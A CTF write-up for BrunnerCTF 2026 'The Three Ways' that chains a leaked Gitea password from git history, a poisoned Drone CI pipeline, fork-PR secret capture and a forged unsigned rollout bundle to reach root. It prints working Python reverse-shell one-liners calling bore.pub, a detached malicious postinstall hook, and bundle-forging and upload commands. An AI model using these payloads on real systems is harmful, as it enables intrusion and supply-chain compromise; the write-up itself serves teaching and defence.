DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

BrunnerCTF 2026 : The Three Ways Writeup

Summary

Two connected challenges built around the same Gitea/Drone/rollout-agent environment. The first stage (Flow) gets code execution on the Drone CI runner. The second stage (Feedback / Continuous Improvement) escalates that into root on the box running Brunnerne's autonomous, unsigned rollout agent. Along the way there's also a bonus flag hidden in the package registry's version history, found while sweeping for leftovers after the main chain was already solved.

Recon

The target is a Gitea instance:

https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz
Enter fullscreen mode Exit fullscreen mode

The challenge description ("onboarding note left behind the printer") supplied initial credentials for a low-privilege developer account:

brunner_dev : dev_go_brr
Enter fullscreen mode Exit fullscreen mode

The first thing I tried was just hitting /sign-in, guessing at the login path - that 404'd, because Gitea's actual route is /user/login, not /sign-in. That path only showed up once I grepped the homepage for the "Sign In" link:

curl https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz | grep sign
Enter fullscreen mode Exit fullscreen mode

Gitea rotates its CSRF token per request and ties it to whatever session cookie you're carrying at the time, so logging in via curl means fetching a fresh token from a GET to /user/login and then reusing that same cookie jar for the POST - otherwise the token won't match the session Gitea has on file and you'll get a 400. The first time through this I made the mistake of running the GET and POST as two completely separate curl invocations without sharing a cookie jar, and it failed every time with a fresh CSRF token that didn't match. The fix was chaining everything through one jar:

curl -s -c cookies.txt -b cookies.txt \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  -o login_page.html

CSRF=$(grep -oP '(?<=name="_csrf" value=")[^"]+' login_page.html)

curl -s -c cookies.txt -b cookies.txt \
  -X POST 'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode 'user_name=brunner_dev' \
  --data-urlencode 'password=dev_go_brr' \
  -D - -o response.html
Enter fullscreen mode Exit fullscreen mode

Rather than deal with the cookie/CSRF dance at all for read-only recon, it turned out simpler to just use Gitea's Basic Auth support directly against the API - brunner_dev's credentials work as HTTP Basic Auth on any /api/v1/... endpoint, no session or token needed:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/user'
Enter fullscreen mode Exit fullscreen mode

That confirmed the account worked and returned its profile JSON. Checking the account's own repo page (/brunner_dev) showed "No matching repositories found" - the account itself owns nothing, which made sense for a "minimal access" contractor. The actual repos existed elsewhere, and the way to find them regardless of ownership was Gitea's cross-owner repo search endpoint:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'
Enter fullscreen mode Exit fullscreen mode

That returned two repos brunner_dev could see:

  • brunner_ops/ci-bootstrap (Shell)
  • brunner_admin/hello-drone (Python, has a .drone.yml pipeline)

Stage 1 - Flow

Finding a second credential in git history

ci-bootstrap's repo page showed only 2 commits, and the current one was titled "read the ci password from the environment" - that phrasing alone is a strong tell that something got refactored out of hardcoded plaintext and into an env var, which usually means the plaintext value is still sitting in the previous commit. Pulling the commit list confirmed there were exactly two commits to check:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/ci-bootstrap/commits?limit=10' | jq '.[] | {sha, message: .commit.message}'
Enter fullscreen mode Exit fullscreen mode

Rather than clone the whole repo just to diff two commits, Gitea serves unified diffs directly at /commit/<sha>.diff over HTTP, so the fastest path was just fetching that:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ops/ci-bootstrap/commit/ec5ccfcb240129041410db0e12b50b9e8a9245e6.diff'
Enter fullscreen mode Exit fullscreen mode

The diff showed exactly what the commit message implied - a plaintext GITEA_PASSWORD for a CI service account, replaced in this same commit with an env-var reference, meaning the plaintext value only ever existed in the parent commit and was never actually rotated:

GITEA_USER=brunner_ci
GITEA_PASSWORD=9d41c07be5a8426fa3c15b2e70f8d63a
Enter fullscreen mode Exit fullscreen mode

Privilege check

With the new credential in hand, the same repos/search trick was run again, this time authenticated as brunner_ci, to see what changed:

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'
Enter fullscreen mode Exit fullscreen mode

brunner_ci could now see one additional, private repo - brunner_ops/deploy-tools - on top of the same two public ones brunner_dev had access to. That confirmed brunner_ci had push access on the public hello-drone repo (which has an active Drone pipeline) and at least pull access on the private deploy-tools.

CI pipeline abuse -> shell

hello-drone's .drone.yml ran on every push with no review gate:

kind: pipeline
type: exec
name: default
platform:
  os: linux
  arch: amd64
steps:
  - name: test
    commands:
      - python -m unittest discover -v
  - name: build
    commands:
      - python app.py
  - name: report
    commands:
      - echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"
Enter fullscreen mode Exit fullscreen mode

type: exec pipelines run raw shell commands directly on the runner host - no container isolation. The app.py in the repo itself was a harmless fizzbuzz sample, so the actual payload was smuggling a new step into the pipeline config. The first attempt at a reverse shell used bash's /dev/tcp/... pseudo-device, which is a common one-liner but assumes bash is actually the shell running the step - it failed here because the runner's sh resolves to dash, which doesn't implement that construct:

line 5: can't create /dev/tcp/bore.pub/54872: nonexistent directory
Enter fullscreen mode Exit fullscreen mode

Since the build step already proved python/python3 was available on the runner, switching to a Python socket one-liner sidestepped the shell-dialect problem entirely:

  - name: shell
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Enter fullscreen mode Exit fullscreen mode

Pushing that as brunner_ci (who had push access to hello-drone) triggered a build automatically:

git add .drone.yml
git commit -m "python reverse shell"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_admin/hello-drone.git main
Enter fullscreen mode Exit fullscreen mode

The listener caught a shell as drone (uid 1000):

id
uid=1000(drone) gid=1000(drone) groups=1000(drone)
Enter fullscreen mode Exit fullscreen mode

The flag for this stage sat directly in the CI user's home directory:

cat /home/drone/flag.txt
Enter fullscreen mode Exit fullscreen mode
brunner{4ch13v3_4bs0lut3_fl0w_st4t3}
Enter fullscreen mode Exit fullscreen mode

Stage 2 - Feedback / Continuous Improvement

The target: an unsigned autonomous rollout agent

Enumerating the box from the drone shell turned up /usr/local/bin/rollout-agent.py, running as PID 28 under root. It was world-readable, so reading the source directly showed its full logic:

  • Polls a Gitea generic package registry (brunner_registry/rollout-bundle) every 30 seconds
  • Picks the highest version number it hasn't already installed (newest() does numeric-chunk comparison, so 2.0.0 beats 1.10.0 correctly rather than comparing as strings)
  • Downloads the tarball, extracts it, and validates it against three checks only:
    1. manifest.json package/version fields match
    2. Every shipped file appears in a SHA256SUMS file with a matching hash - self-generated by whoever uploads the bundle, so trivially satisfiable by anyone with upload access
    3. No symlinks, no path traversal
  • Runs hooks/postinstall from the bundle as root, with a 60-second timeout
  • No signature verification anywhere in the chain

The challenge description spells this out directly: "it's tireless, it's trusting and it runs with the utmost privilege... signing artifacts... added that to the backlog."

/etc/platform/registry.conf was also world-readable and gave the registry endpoint and org name. /etc/platform/rollout.conf - the file actually holding the REGISTRY_USER/REGISTRY_PASSWORD the agent authenticates with - was locked to 600 root:root, so it wasn't reachable from the drone shell.

Getting registry write access

Neither brunner_dev nor brunner_ci had package-write on the brunner_registry org - every upload attempt came back with reqPackageAccess, tried both with basic-auth and with a freshly minted API token, ruling out a token-scope problem and pointing at org membership itself being the blocker.

The deploy-tools repo's README (readable via the brunner_ci pull-only clone) spelled out the intended path:

Tooling for building and verifying rollout bundles. Read-only members can open pull requests.
Enter fullscreen mode Exit fullscreen mode

Gitea allows forking and opening a pull request even with pull-only access on the base repo. Combined with the fact that Drone injects the target repo's secrets into PR-triggered builds - even when the PR originates from a fork with no push access to the base repo - that's a way to get a CI job to run with deploy-tools's secrets using only pull rights:

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/forks"

git clone https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git
cd deploy-tools && git checkout -b pwn
Enter fullscreen mode Exit fullscreen mode

The verify-release step in .drone.yml was the one scoped with REGISTRY_TOKEN: from_secret: registry_token, so that's the step whose command got swapped for the same reverse-shell one-liner from Stage 1, just on a fresh listener port:

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Enter fullscreen mode Exit fullscreen mode
git add .drone.yml && git commit -m "test release verification"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git pwn

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  -d '{"head":"brunner_ci:pwn","base":"main","title":"test release verification"}' \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/pulls"
Enter fullscreen mode Exit fullscreen mode

Opening the PR triggered a Drone build against the base repo. The catch showed up in the listener, and critically, dumping the process environment inside that reverse shell showed the secret sitting in the clear:

DRONE_BUILD_EVENT=pull_request
DRONE_COMMIT_REF=refs/pull/2/head
REGISTRY_TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23
Enter fullscreen mode Exit fullscreen mode

The challenge description's claim that "our logs are appropriately redacted" only holds for literal string matches in captured stdout - Drone's log masking replaces known secret values with *** when they appear verbatim in the build's logged output. A reverse shell session bypasses that pipeline completely, since nothing about an interactive shell session gets routed through Drone's log capture - the token was visible directly in the process environment rather than ever being scrubbed.

Building and uploading a malicious bundle

With REGISTRY_TOKEN in hand, the next step was assembling a bundle that would pass rollout-agent.py's validation, matching the same directory structure make-bundle.sh in deploy-tools produces (manifest, hooks directory, self-generated SHA256SUMS):

mkdir -p /tmp/evilsrc/hooks
cat > /tmp/evilsrc/hooks/postinstall << 'EOF'
#!/bin/sh
setsid python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' < /dev/null > /dev/null 2>&1 &
disown
exit 0
EOF
chmod +x /tmp/evilsrc/hooks/postinstall

WORK=$(mktemp -d)
mkdir -p "$WORK/bundle/hooks"
cp /tmp/evilsrc/hooks/postinstall "$WORK/bundle/hooks/"

cat > "$WORK/bundle/manifest.json" << 'EOF'
{
  "package": "rollout-bundle",
  "version": "2.6.0",
  "hooks": { "postinstall": "hooks/postinstall" }
}
EOF

( cd "$WORK/bundle" && find . -type f -exec sha256sum {} \; | sort -k2 ) > "$WORK/bundle/SHA256SUMS"

tar -czf /tmp/dist/rollout-bundle-2.6.0.tar.gz -C "$WORK" bundle

curl -s -H "Authorization: token $REGISTRY_TOKEN" \
  --upload-file /tmp/dist/rollout-bundle-2.6.0.tar.gz \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/packages/brunner_registry/generic/rollout-bundle/2.6.0/rollout-bundle-2.6.0.tar.gz"
Enter fullscreen mode Exit fullscreen mode

The first attempt (uploaded as version 2.5.0) failed silently after 60 seconds. The hook ran an interactive reverse shell directly in the foreground of the hook script, which meant the hook script's own process never returned - it just sat blocked on the shell. rollout-agent.py enforces a HOOK_TIMEOUT = 60, so once that window passed the agent killed the whole process tree, shell included, before it could be used for anything:

2026-08-23T05:43:39Z postinstall for 2.5.0 timed out after 60s
Enter fullscreen mode Exit fullscreen mode

The fix was detaching the reverse shell from the hook script entirely: setsid ... & starts it in a new session so it isn't a child the parent waits on, disown removes it from the parent shell's job table, redirecting stdin/stdout/stderr away from the parent stops the hook from blocking on those file descriptors either, and an immediate exit 0 lets the hook script itself return cleanly well inside the 60-second window - the backgrounded shell just keeps running on its own after the hook process (and the agent's wait on it) has already finished.

Root

The agent picked up 2.6.0 on its next 30-second poll, validated the self-generated checksums (which will always pass, since nothing checks who generated them), and ran the hook as root:

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Enter fullscreen mode Exit fullscreen mode
cat /root/flag.txt
Enter fullscreen mode Exit fullscreen mode
brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}
Enter fullscreen mode Exit fullscreen mode

Bonus: a third flag hidden in the package registry's version history

After landing root, I went back and did a sweep for anything left over - old build logs, prior package versions, other endpoints - on the theory that a challenge built this deliberately around CI/CD supply-chain weaknesses might have planted something extra in the history rather than just the final state. This wasn't part of the intended privilege chain; it just seemed worth checking given how much of the challenge revolved around things surviving in history that were supposed to be gone (the git-history password being the obvious precedent).

The Gitea session used earlier for the login-form flow had gone stale, so the first block just re-establishes both a Gitea session cookie (needed for some UI-only Drone SSO flow) and a separate Drone session, chaining the Gitea login redirect into Drone's OAuth-style login:

TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23
GITEA=https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz
DRONE=https://drone-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz

# Refresh drone session
rm -f /tmp/cj.txt /tmp/cj2.txt
curl -s -c /tmp/cj.txt "$GITEA/user/login" -o /tmp/lp.html
CSRF=$(python3 -c "import re; print(re.search(r'name=\"_csrf\" value=\"([^\"]+)\"', open('/tmp/lp.html').read()).group(1))")
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -L -d "_csrf=$CSRF&user_name=brunner_ci&password=9d41c07be5a8426fa3c15b2e70f8d63a" "$GITEA/user/login" -o /dev/null
curl -s -b /tmp/cj.txt -c /tmp/cj2.txt -D /tmp/h1.txt -o /dev/null "$DRONE/login"
LOC1=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h1.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -D /tmp/h2.txt -o /dev/null "$LOC1"
LOC2=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h2.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj2.txt -c /tmp/cj2.txt -L -o /dev/null "$LOC2"
Enter fullscreen mode Exit fullscreen mode

Drone's session cookie only gets set at the end of that OAuth-style redirect chain, so each Location: header has to be followed by hand into the next request rather than just letting -L auto-follow, because the intermediate hops need the Gitea cookie jar and the final hop needs the Drone cookie jar - mixing them up meant getting bounced back to a login page instead of an authenticated session.

With a working Drone session, the next block walks every build on every repo that had ever run a pipeline, and for each build, tries fetching the logs of each of the first six steps, grepping for anything matching the flag format:

echo '=== drone builds all logs grep ==='
for repo in brunner_ops/deploy-tools brunner_admin/hello-drone brunner_ci/deploy-tools; do
  builds=$(curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds" 2>/dev/null)
  echo "REPO $repo: $(echo "$builds" | head -c 80)"
  nums=$(echo "$builds" | python3 -c 'import sys,json
try:
 d=json.load(sys.stdin)
 print(" ".join(str(b["number"]) for b in d[:15]))
except: pass' 2>/dev/null)
  for n in $nums; do
    for s in 1 2 3 4 5 6; do
      curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds/$n/logs/1/$s" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HIT $repo build $n step $s: $f"; done
    done
  done
done
Enter fullscreen mode Exit fullscreen mode

That came back empty - brunner_ci/deploy-tools (the forked copy) wasn't even registered as a repo in Drone (Not Found), and no build log on the other two repos contained a flag. That ruled out the build-log angle entirely and pointed the search toward the package registry itself, since rollout-agent.py had been pulling numbered versions from brunner_registry/rollout-bundle the whole time and I'd only ever uploaded and inspected 2.6.0. It seemed reasonable that earlier versions in that same package history - version numbers the agent had presumably cycled through before I ever got registry access - might have something stashed inside them from whoever set up the challenge:

The version list here (1.4.0 through 2.5.0) was just a guess at a plausible release cadence rather than anything discovered - the agent's own newest() logic and the versions already seen (2.5.0 was the one that hit the hook timeout, 2.6.0 was the one that finally worked) suggested the registry had been seeded with a handful of prior releases before I ever touched it. Each version was checked individually - download the tarball, confirm it's actually valid gzip (a 404 for a version that never existed comes back as an error body, not a tarball, and tar -tzf fails cleanly on that rather than choking), then extract and grep for anything matching the flag format:

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.0/rollout-bundle-1.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.2/rollout-bundle-1.4.2.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.5.0/rollout-bundle-1.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.0.0/rollout-bundle-2.0.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.1.0/rollout-bundle-2.1.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.2.0/rollout-bundle-2.2.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.3.0/rollout-bundle-2.3.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.4.0/rollout-bundle-2.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode
curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.5.0/rollout-bundle-2.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract
Enter fullscreen mode Exit fullscreen mode

Every version came back empty except 1.4.2 - a version that had never come up anywhere in the main chain, meaning it must have been part of the environment's seeded history rather than anything either the agent or I had uploaded:

PKG 1.4.2: /tmp/pkgextract/bundle/config/deploy.env:brunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u}
Enter fullscreen mode Exit fullscreen mode

The last block was just closing out the sweep - checking a few obvious Gitea API/static paths and re-fetching a handful of HTML pages for anything that looked like a flag pattern, mostly to make sure nothing else was sitting in plain sight before calling the search done:

echo '=== gitea API search various endpoints ==='
for path in \
  '/api/v1/version' \
  '/api/v1/user' \
  '/assets/licenses.txt' \
  '/api/swagger'
 do
  curl -s -H "Authorization: token $TOKEN" "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | head
done

for path in '/' '/explore/repos' '/brunner_ops/deploy-tools' '/brunner_admin/hello-drone'; do
  curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HTML $path: $f"; done
done
Enter fullscreen mode Exit fullscreen mode

Those came back empty, confirming the 1.4.2 bundle was the only extra flag sitting in the environment. Its content (no_secrets_are_too_secret_for_u) reads as a wink at the whole registry-history angle - the same "old versions never really go away" theme as the git-history credential from Stage 1, just relocated to the package registry instead of git.

Full chain summary

  1. Onboarding note leaked plaintext creds -> brunner_dev
  2. Secret left in old git commit, never rotated after being "fixed" -> brunner_ci, with push on hello-drone
  3. hello-drone's Drone pipeline ran unreviewed code on every push -> shell as drone on the CI runner
  4. rollout-agent.py on that host polls a package registry every 30s and runs postinstall as root, with no signature check - only a self-generated SHA256SUMS
  5. Direct registry package-write was blocked for every available account
  6. deploy-tools's README pointed at the intended bypass: forking with pull-only access, then opening a PR - Drone injects the target repo's secrets into fork-originated PR builds
  7. Captured REGISTRY_TOKEN live from the PR build's process environment (bypassing Drone's literal-string log redaction) and, as a bonus, landed a second shell running as root directly inside that build step
  8. Used the token to upload a malicious rollout-bundle version; first hook attempt died to the agent's 60-second timeout because the shell blocked the hook process from exiting - fixed by detaching with setsid + disown + immediate exit 0
  9. Agent installed the new version on its next poll and ran the detached hook as root -> /root/flag.txt
  10. Post-root sweep of Drone build logs and earlier package registry versions turned up a bonus flag stashed in rollout-bundle version 1.4.2, a version never touched during the main chain

Root cause and lessons

  • Plaintext secrets in onboarding docs and git history. A secret "removed" from HEAD is not removed - old commits remain fully reachable unless history is rewritten and force-pushed, and even then, prior clones or forks retain the blob.
  • CI pipelines that run arbitrary code on push with no review are equivalent to granting whoever can push the same privilege as whoever runs the CI system. brunner_ci's narrow, intentional scope (push to one low-value repo) was irrelevant once that repo's pipeline executed as a trusted CI identity.
  • Fork-and-PR secret injection is a well-known Drone/GitHub-Actions-class footgun. Base-repo secrets should never be exposed to pipelines triggered by external, unreviewed pull requests without an explicit approval gate.
  • An autonomous deployment agent with root privilege and no artifact signing is a complete bypass of every access control layered in front of it. Every credential boundary earlier in the chain (brunner_dev -> brunner_ci -> registry org membership) existed for nothing once a self-generated checksum was the only integrity check standing between an attacker-controlled tarball and root execution.
  • Old package versions in a registry are just as much a liability as old git commits. The bonus flag in 1.4.2 was a direct reminder that "current state looks clean" doesn't mean the history behind it does - anything ever uploaded to a registry with no retention or access policy is still fetchable by anyone with read access, indefinitely.

Top comments (0)